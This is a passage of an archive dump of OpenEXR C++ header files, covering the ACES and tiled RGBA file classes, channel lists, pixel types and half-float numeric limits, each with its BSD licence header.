INCREASING_Y, Compression compression = PIZ_COMPRESSION, int numThreads = globalThreadCount()); //----------------------------------------------- // Constructor -- like the previous one, but both // the display window and the data window are // Box2i (V2i (0, 0), V2i (width - 1, height -1)) //----------------------------------------------- AcesOutputFile (const std::string &name, int width, int height, RgbaChannels rgbaChannels = WRITE_RGBA, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = INCREASING_Y, Compression compression = PIZ_COMPRESSION, int numThreads = globalThreadCount()); //----------- // Destructor //----------- virtual ~AcesOutputFile (); //------------------------------------------------ // Define a frame buffer as the pixel data source: // Pixel (x, y) is at address // // base + x * xStride + y * yStride // //------------------------------------------------ void setFrameBuffer (const Rgba *base, size_t xStride, size_t yStride); //------------------------------------------------- // Write pixel data (see class Imf::OutputFile) // The pixels are assumed to contain ACES RGB data. //------------------------------------------------- void writePixels (int numScanLines = 1); int currentScanLine () const; //-------------------------- // Access to the file header //-------------------------- const Header & header () const; const IMATH_NAMESPACE::Box2i & displayWindow () const; const IMATH_NAMESPACE::Box2i & dataWindow () const; float pixelAspectRatio () const; const IMATH_NAMESPACE::V2f screenWindowCenter () const; float screenWindowWidth () const; LineOrder lineOrder () const; Compression compression () const; RgbaChannels channels () const; // -------------------------------------------------------------------- // Update the preview image (see Imf::OutputFile::updatePreviewImage()) // -------------------------------------------------------------------- void updatePreviewImage (const PreviewRgba[]); private: AcesOutputFile (const AcesOutputFile &); // not implemented AcesOutputFile & operator = (const AcesOutputFile &); // not implemented class Data; Data * _data; }; // // ACES input file // class IMF_EXPORT AcesInputFile { public: //------------------------------------------------------- // Constructor -- opens the file with the specified name, // destructor will automatically close the file. //------------------------------------------------------- AcesInputFile (const std::string &name, int numThreads = globalThreadCount()); //----------------------------------------------------------- // Constructor -- attaches the new AcesInputFile object to a // file that has already been opened by the caller. // Destroying the AcesInputFile object will not automatically // close the file. //----------------------------------------------------------- AcesInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int numThreads = globalThreadCount()); //----------- // Destructor //----------- virtual ~AcesInputFile (); //----------------------------------------------------- // Define a frame buffer as the pixel data destination: // Pixel (x, y) is at address // // base + x * xStride + y * yStride // //----------------------------------------------------- void setFrameBuffer (Rgba *base, size_t xStride, size_t yStride); //-------------------------------------------- // Read pixel data (see class Imf::InputFile) // Pixels returned will contain ACES RGB data. //-------------------------------------------- void readPixels (int scanLine1, int scanLine2); void readPixels (int scanLine); //-------------------------- // Access to the file header //-------------------------- const Header & header () const; const IMATH_NAMESPACE::Box2i & displayWindow () const; const IMATH_NAMESPACE::Box2i & dataWindow () const; float pixelAspectRatio () const; const IMATH_NAMESPACE::V2f screenWindowCenter () const; float screenWindowWidth () const; LineOrder lineOrder () const; Compression compression () const; RgbaChannels channels () const; const char * fileName () const; bool isComplete () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; private: AcesInputFile (const AcesInputFile &); // not implemented AcesInputFile & operator = (const AcesInputFile &); // not implemented class Data; Data * _data; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfChannelList.h 0000644 00000026311 15246445047 0011053 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_CHANNEL_LIST_H #define INCLUDED_IMF_CHANNEL_LIST_H //----------------------------------------------------------------------------- // // class Channel // class ChannelList // //----------------------------------------------------------------------------- #include "ImfName.h" #include "ImfPixelType.h" #include "ImfNamespace.h" #include "ImfExport.h" #include <map> #include <set> #include <string> OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER struct IMF_EXPORT Channel { //------------------------------ // Data type; see ImfPixelType.h //------------------------------ PixelType type; //-------------------------------------------- // Subsampling: pixel (x, y) is present in the // channel only if // // x % xSampling == 0 && y % ySampling == 0 // //-------------------------------------------- int xSampling; int ySampling; //-------------------------------------------------------------- // Hint to lossy compression methods that indicates whether // human perception of the quantity represented by this channel // is closer to linear or closer to logarithmic. Compression // methods may optimize image quality by adjusting pixel data // quantization acording to this hint. // For example, perception of red, green, blue and luminance is // approximately logarithmic; the difference between 0.1 and 0.2 // is perceived to be roughly the same as the difference between // 1.0 and 2.0. Perception of chroma coordinates tends to be // closer to linear than logarithmic; the difference between 0.1 // and 0.2 is perceived to be roughly the same as the difference // between 1.0 and 1.1. //-------------------------------------------------------------- bool pLinear; //------------ // Constructor //------------ Channel (PixelType type = HALF, int xSampling = 1, int ySampling = 1, bool pLinear = false); //------------ // Operator == //------------ bool operator == (const Channel &other) const; }; class IMF_EXPORT ChannelList { public: //-------------- // Add a channel //-------------- void insert (const char name[], const Channel &channel); void insert (const std::string &name, const Channel &channel); //------------------------------------------------------------------ // Access to existing channels: // // [n] Returns a reference to the channel with name n. // If no channel with name n exists, an IEX_NAMESPACE::ArgExc // is thrown. // // findChannel(n) Returns a pointer to the channel with name n, // or 0 if no channel with name n exists. // //------------------------------------------------------------------ Channel & operator [] (const char name[]); const Channel & operator [] (const char name[]) const; Channel & operator [] (const std::string &name); const Channel & operator [] (const std::string &name) const; Channel * findChannel (const char name[]); const Channel * findChannel (const char name[]) const; Channel * findChannel (const std::string &name); const Channel * findChannel (const std::string &name) const; //------------------------------------------- // Iterator-style access to existing channels //------------------------------------------- typedef std::map <Name, Channel> ChannelMap; class Iterator; class ConstIterator; Iterator begin (); ConstIterator begin () const; Iterator end (); ConstIterator end () const; Iterator find (const char name[]); ConstIterator find (const char name[]) const; Iterator find (const std::string &name); ConstIterator find (const std::string &name) const; //----------------------------------------------------------------- // Support for image layers: // // In an image file with many channels it is sometimes useful to // group the channels into "layers", that is, into sets of channels // that logically belong together. Grouping channels into layers // is done using a naming convention: channel C in layer L is // called "L.C". // // For example, a computer graphic image may contain separate // R, G and B channels for light that originated at each of // several different virtual light sources. The channels in // this image might be called "light1.R", "light1.G", "light1.B", // "light2.R", "light2.G", "light2.B", etc. // // Note that this naming convention allows layers to be nested; // for example, "light1.specular.R" identifies the "R" channel // in the "specular" sub-layer of layer "light1". // // Channel names that don't contain a "." or that contain a // "." only at the beginning or at the end are not considered // to be part of any layer. // // layers(lns) sorts the channels in this ChannelList // into layers and stores the names of // all layers, sorted alphabetically, // into string set lns. // // channelsInLayer(ln,f,l) stores a pair of iterators in f and l // such that the loop // // for (ConstIterator i = f; i != l; ++i) // ... // // iterates over all channels in layer ln. // channelsInLayer (ln, l, p) calls // channelsWithPrefix (ln + ".", l, p). // //----------------------------------------------------------------- void layers (std::set <std::string> &layerNames) const; void channelsInLayer (const std::string &layerName, Iterator &first, Iterator &last); void channelsInLayer (const std::string &layerName, ConstIterator &first, ConstIterator &last) const; //------------------------------------------------------------------- // Find all channels whose name begins with a given prefix: // // channelsWithPrefix(p,f,l) stores a pair of iterators in f and l // such that the following loop iterates over all channels whose name // begins with string p: // // for (ConstIterator i = f; i != l; ++i) // ... // //------------------------------------------------------------------- void channelsWithPrefix (const char prefix[], Iterator &first, Iterator &last); void channelsWithPrefix (const char prefix[], ConstIterator &first, ConstIterator &last) const; void channelsWithPrefix (const std::string &prefix, Iterator &first, Iterator &last); void channelsWithPrefix (const std::string &prefix, ConstIterator &first, ConstIterator &last) const; //------------ // Operator == //------------ bool operator == (const ChannelList &other) const; private: ChannelMap _map; }; //---------- // Iterators //---------- class ChannelList::Iterator { public: Iterator (); Iterator (const ChannelList::ChannelMap::iterator &i); Iterator & operator ++ (); Iterator operator ++ (int); const char * name () const; Channel & channel () const; private: friend class ChannelList::ConstIterator; ChannelList::ChannelMap::iterator _i; }; class ChannelList::ConstIterator { public: ConstIterator (); ConstIterator (const ChannelList::ChannelMap::const_iterator &i); ConstIterator (const ChannelList::Iterator &other); ConstIterator & operator ++ (); ConstIterator operator ++ (int); const char * name () const; const Channel & channel () const; private: friend bool operator == (const ConstIterator &, const ConstIterator &); friend bool operator != (const ConstIterator &, const ConstIterator &); ChannelList::ChannelMap::const_iterator _i; }; //----------------- // Inline Functions //----------------- inline ChannelList::Iterator::Iterator (): _i() { // empty } inline ChannelList::Iterator::Iterator (const ChannelList::ChannelMap::iterator &i): _i (i) { // empty } inline ChannelList::Iterator & ChannelList::Iterator::operator ++ () { ++_i; return *this; } inline ChannelList::Iterator ChannelList::Iterator::operator ++ (int) { Iterator tmp = *this; ++_i; return tmp; } inline const char * ChannelList::Iterator::name () const { return *_i->first; } inline Channel & ChannelList::Iterator::channel () const { return _i->second; } inline ChannelList::ConstIterator::ConstIterator (): _i() { // empty } inline ChannelList::ConstIterator::ConstIterator (const ChannelList::ChannelMap::const_iterator &i): _i (i) { // empty } inline ChannelList::ConstIterator::ConstIterator (const ChannelList::Iterator &other): _i (other._i) { // empty } inline ChannelList::ConstIterator & ChannelList::ConstIterator::operator ++ () { ++_i; return *this; } inline ChannelList::ConstIterator ChannelList::ConstIterator::operator ++ (int) { ConstIterator tmp = *this; ++_i; return tmp; } inline const char * ChannelList::ConstIterator::name () const { return *_i->first; } inline const Channel & ChannelList::ConstIterator::channel () const { return _i->second; } inline bool operator == (const ChannelList::ConstIterator &x, const ChannelList::ConstIterator &y) { return x._i == y._i; } inline bool operator != (const ChannelList::ConstIterator &x, const ChannelList::ConstIterator &y) { return !(x == y); } OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfPixelType.h 0000644 00000004536 15246445047 0010577 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_PIXEL_TYPE_H #define INCLUDED_IMF_PIXEL_TYPE_H //----------------------------------------------------------------------------- // // enum PixelType // //----------------------------------------------------------------------------- #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER enum PixelType { UINT = 0, // unsigned int (32 bit) HALF = 1, // half (16 bit floating point) FLOAT = 2, // float (32 bit floating point) NUM_PIXELTYPES // number of different pixel types }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/ImfTiledRgbaFile.h 0000644 00000037623 15246445047 0011314 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_TILED_RGBA_FILE_H #define INCLUDED_IMF_TILED_RGBA_FILE_H //----------------------------------------------------------------------------- // // Simplified RGBA image I/O for tiled files // // class TiledRgbaOutputFile // class TiledRgbaInputFile // //----------------------------------------------------------------------------- #include "ImfHeader.h" #include "ImfFrameBuffer.h" #include "ImathVec.h" #include "ImathBox.h" #include "half.h" #include "ImfTileDescription.h" #include "ImfRgba.h" #include "ImfThreading.h" #include <string> #include "ImfNamespace.h" #include "ImfForward.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // Tiled RGBA output file. // class IMF_EXPORT TiledRgbaOutputFile { public: //--------------------------------------------------- // Constructor -- rgbaChannels, tileXSize, tileYSize, // levelMode, and levelRoundingMode overwrite the // channel list and tile description attribute in the // header that is passed as an argument to the // constructor. //--------------------------------------------------- TiledRgbaOutputFile (const char name[], const Header &header, RgbaChannels rgbaChannels, int tileXSize, int tileYSize, LevelMode mode, LevelRoundingMode rmode = ROUND_DOWN, int numThreads = globalThreadCount ()); //--------------------------------------------------- // Constructor -- like the previous one, but the new // TiledRgbaOutputFile is attached to a file that has // already been opened by the caller. Destroying // TiledRgbaOutputFileObjects constructed with this // constructor does not automatically close the // corresponding files. //--------------------------------------------------- TiledRgbaOutputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::OStream &os, const Header &header, RgbaChannels rgbaChannels, int tileXSize, int tileYSize, LevelMode mode, LevelRoundingMode rmode = ROUND_DOWN, int numThreads = globalThreadCount ()); //------------------------------------------------------ // Constructor -- header data are explicitly specified // as function call arguments (an empty dataWindow means // "same as displayWindow") //------------------------------------------------------ TiledRgbaOutputFile (const char name[], int tileXSize, int tileYSize, LevelMode mode, LevelRoundingMode rmode, const IMATH_NAMESPACE::Box2i &displayWindow, const IMATH_NAMESPACE::Box2i &dataWindow = IMATH_NAMESPACE::Box2i(), RgbaChannels rgbaChannels = WRITE_RGBA, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = INCREASING_Y, Compression compression = ZIP_COMPRESSION, int numThreads = globalThreadCount ()); //----------------------------------------------- // Constructor -- like the previous one, but both // the display window and the data window are // Box2i (V2i (0, 0), V2i (width - 1, height -1)) //----------------------------------------------- TiledRgbaOutputFile (const char name[], int width, int height, int tileXSize, int tileYSize, LevelMode mode, LevelRoundingMode rmode = ROUND_DOWN, RgbaChannels rgbaChannels = WRITE_RGBA, float pixelAspectRatio = 1, const IMATH_NAMESPACE::V2f screenWindowCenter = IMATH_NAMESPACE::V2f (0, 0), float screenWindowWidth = 1, LineOrder lineOrder = INCREASING_Y, Compression compression = ZIP_COMPRESSION, int numThreads = globalThreadCount ()); virtual ~TiledRgbaOutputFile (); //------------------------------------------------ // Define a frame buffer as the pixel data source: // Pixel (x, y) is at address // // base + x * xStride + y * yStride // //------------------------------------------------ void setFrameBuffer (const Rgba *base, size_t xStride, size_t yStride); //-------------------------- // Access to the file header //-------------------------- const Header & header () const; const FrameBuffer & frameBuffer () const; const IMATH_NAMESPACE::Box2i & displayWindow () const; const IMATH_NAMESPACE::Box2i & dataWindow () const; float pixelAspectRatio () const; const IMATH_NAMESPACE::V2f screenWindowCenter () const; float screenWindowWidth () const; LineOrder lineOrder () const; Compression compression () const; RgbaChannels channels () const; //---------------------------------------------------- // Utility functions (same as in Imf::TiledOutputFile) //---------------------------------------------------- unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; int levelWidth (int lx) const; int levelHeight (int ly) const; int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; //------------------------------------------------------------------ // Write pixel data: // // writeTile(dx, dy, lx, ly) writes the tile with tile // coordinates (dx, dy), and level number (lx, ly) to // the file. // // dx must lie in the interval [0, numXTiles(lx)-1] // dy must lie in the interval [0, numYTiles(ly)-1] // // lx must lie in the interval [0, numXLevels()-1] // ly must lie in the inverval [0, numYLevels()-1] // // writeTile(dx, dy, level) is a convenience function // used for ONE_LEVEL and MIPMAP_LEVEL files. It calls // writeTile(dx, dy, level, level). // // The two writeTiles(dx1, dx2, dy1, dy2, ...) functions allow // writing multiple tiles at once. If multi-threading is used // multiple tiles are written concurrently. // // Pixels that are outside the pixel coordinate range for the tile's // level, are never accessed by writeTile(). // // Each tile in the file must be written exactly once. // //------------------------------------------------------------------ void writeTile (int dx, int dy, int l = 0); void writeTile (int dx, int dy, int lx, int ly); void writeTiles (int dxMin, int dxMax, int dyMin, int dyMax, int lx, int ly); void writeTiles (int dxMin, int dxMax, int dyMin, int dyMax, int l = 0); // ------------------------------------------------------------------------- // Update the preview image (see Imf::TiledOutputFile::updatePreviewImage()) // ------------------------------------------------------------------------- void updatePreviewImage (const PreviewRgba[]); //------------------------------------------------ // Break a tile -- for testing and debugging only // (see Imf::TiledOutputFile::breakTile()) // // Warning: Calling this function usually results // in a broken image file. The file or parts of // it may not be readable, or the file may contain // bad data. // //------------------------------------------------ void breakTile (int dx, int dy, int lx, int ly, int offset, int length, char c); private: // // Copy constructor and assignment are not implemented // TiledRgbaOutputFile (const TiledRgbaOutputFile &); TiledRgbaOutputFile & operator = (const TiledRgbaOutputFile &); class ToYa; TiledOutputFile * _outputFile; ToYa * _toYa; }; // // Tiled RGBA input file // class IMF_EXPORT TiledRgbaInputFile { public: //-------------------------------------------------------- // Constructor -- opens the file with the specified name. // Destroying TiledRgbaInputFile objects constructed with // this constructor automatically closes the corresponding // files. //-------------------------------------------------------- TiledRgbaInputFile (const char name[], int numThreads = globalThreadCount ()); //------------------------------------------------------- // Constructor -- attaches the new TiledRgbaInputFile // object to a file that has already been opened by the // caller. // Destroying TiledRgbaInputFile objects constructed with // this constructor does not automatically close the // corresponding files. //------------------------------------------------------- TiledRgbaInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, int numThreads = globalThreadCount ()); //------------------------------------------------------------ // Constructors -- the same as the previous two, but the names // of the red, green, blue, alpha, and luminance channels are // expected to be layerName.R, layerName.G, etc. //------------------------------------------------------------ TiledRgbaInputFile (const char name[], const std::string &layerName, int numThreads = globalThreadCount()); TiledRgbaInputFile (OPENEXR_IMF_INTERNAL_NAMESPACE::IStream &is, const std::string &layerName, int numThreads = globalThreadCount()); //----------- // Destructor //----------- virtual ~TiledRgbaInputFile (); //----------------------------------------------------- // Define a frame buffer as the pixel data destination: // Pixel (x, y) is at address // // base + x * xStride + y * yStride // //----------------------------------------------------- void setFrameBuffer (Rgba *base, size_t xStride, size_t yStride); //------------------------------------------------------------------- // Switch to a different layer -- subsequent calls to readTile() // and readTiles() will read channels layerName.R, layerName.G, etc. // After each call to setLayerName(), setFrameBuffer() must be called // at least once before the next call to readTile() or readTiles(). //------------------------------------------------------------------- void setLayerName (const std::string &layerName); //-------------------------- // Access to the file header //-------------------------- const Header & header () const; const FrameBuffer & frameBuffer () const; const IMATH_NAMESPACE::Box2i & displayWindow () const; const IMATH_NAMESPACE::Box2i & dataWindow () const; float pixelAspectRatio () const; const IMATH_NAMESPACE::V2f screenWindowCenter () const; float screenWindowWidth () const; LineOrder lineOrder () const; Compression compression () const; RgbaChannels channels () const; const char * fileName () const; bool isComplete () const; //---------------------------------- // Access to the file format version //---------------------------------- int version () const; //--------------------------------------------------- // Utility functions (same as in Imf::TiledInputFile) //--------------------------------------------------- unsigned int tileXSize () const; unsigned int tileYSize () const; LevelMode levelMode () const; LevelRoundingMode levelRoundingMode () const; int numLevels () const; int numXLevels () const; int numYLevels () const; bool isValidLevel (int lx, int ly) const; int levelWidth (int lx) const; int levelHeight (int ly) const; int numXTiles (int lx = 0) const; int numYTiles (int ly = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForLevel (int lx, int ly) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int l = 0) const; IMATH_NAMESPACE::Box2i dataWindowForTile (int dx, int dy, int lx, int ly) const; //---------------------------------------------------------------- // Read pixel data: // // readTile(dx, dy, lx, ly) reads the tile with tile // coordinates (dx, dy), and level number (lx, ly), // and stores it in the current frame buffer. // // dx must lie in the interval [0, numXTiles(lx)-1] // dy must lie in the interval [0, numYTiles(ly)-1] // // lx must lie in the interval [0, numXLevels()-1] // ly must lie in the inverval [0, numYLevels()-1] // // readTile(dx, dy, level) is a convenience function used // for ONE_LEVEL and MIPMAP_LEVELS files. It calls // readTile(dx, dy, level, level). // // The two readTiles(dx1, dx2, dy1, dy2, ...) functions allow // reading multiple tiles at once. If multi-threading is used // multiple tiles are read concurrently. // // Pixels that are outside the pixel coordinate range for the // tile's level, are never accessed by readTile(). // // Attempting to access a tile that is not present in the file // throws an InputExc exception. // //---------------------------------------------------------------- void readTile (int dx, int dy, int l = 0); void readTile (int dx, int dy, int lx, int ly); void readTiles (int dxMin, int dxMax, int dyMin, int dyMax, int lx, int ly); void readTiles (int dxMin, int dxMax, int dyMin, int dyMax, int l = 0); private: // // Copy constructor and assignment are not implemented // TiledRgbaInputFile (const TiledRgbaInputFile &); TiledRgbaInputFile & operator = (const TiledRgbaInputFile &); class FromYa; TiledInputFile * _inputFile; FromYa * _fromYa; std::string _channelNamePrefix; }; OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_EXIT #endif OpenEXR/halfLimits.h 0000644 00000007352 15246445047 0010313 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2002, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// // Primary authors: // Florian Kainz <kainz@ilm.com> // Rod Bogart <rgb@ilm.com> #ifndef INCLUDED_HALF_LIMITS_H #define INCLUDED_HALF_LIMITS_H //------------------------------------------------------------------------ // // C++ standard library-style numeric_limits for class half // //------------------------------------------------------------------------ #include <limits> #include "half.h" namespace std { template <> class numeric_limits <half> { public: static const bool is_specialized = true; static half min () throw () {return HALF_NRM_MIN;} static half max () throw () {return HALF_MAX;} static const int digits = HALF_MANT_DIG; static const int digits10 = HALF_DIG; static const bool is_signed = true; static const bool is_integer = false; static const bool is_exact = false; static const int radix = HALF_RADIX; static half epsilon () throw () {return HALF_EPSILON;} static half round_error () throw () {return HALF_EPSILON / 2;} static const int min_exponent = HALF_MIN_EXP; static const int min_exponent10 = HALF_MIN_10_EXP; static const int max_exponent = HALF_MAX_EXP; static const int max_exponent10 = HALF_MAX_10_EXP; static const bool has_infinity = true; static const bool has_quiet_NaN = true; static const bool has_signaling_NaN = true; static const float_denorm_style has_denorm = denorm_present; static const bool has_denorm_loss = false; static half infinity () throw () {return half::posInf();} static half quiet_NaN () throw () {return half::qNan();} static half signaling_NaN () throw () {return half::sNan();} static half denorm_min () throw () {return HALF_MIN;} static const bool is_iec559 = false; static const bool is_bounded = false; static const bool is_modulo = false; static const bool traps = true; static const bool tinyness_before = false; static const float_round_style round_style = round_to_nearest; }; } // namespace std #endif OpenEXR/ImfRgba.h 0000644 00000006115 15246445047 0007522 0 ustar 00 /////////////////////////////////////////////////////////////////////////// // // Copyright (c) 2004, Industrial Light & Magic, a division of Lucas // Digital Ltd. LLC // // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following disclaimer // in the documentation and/or other materials provided with the // distribution. // * Neither the name of Industrial Light & Magic nor the names of // its contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. // /////////////////////////////////////////////////////////////////////////// #ifndef INCLUDED_IMF_RGBA_H #define INCLUDED_IMF_RGBA_H //----------------------------------------------------------------------------- // // class Rgba // //----------------------------------------------------------------------------- #include "half.h" #include "ImfNamespace.h" OPENEXR_IMF_INTERNAL_NAMESPACE_HEADER_ENTER // // 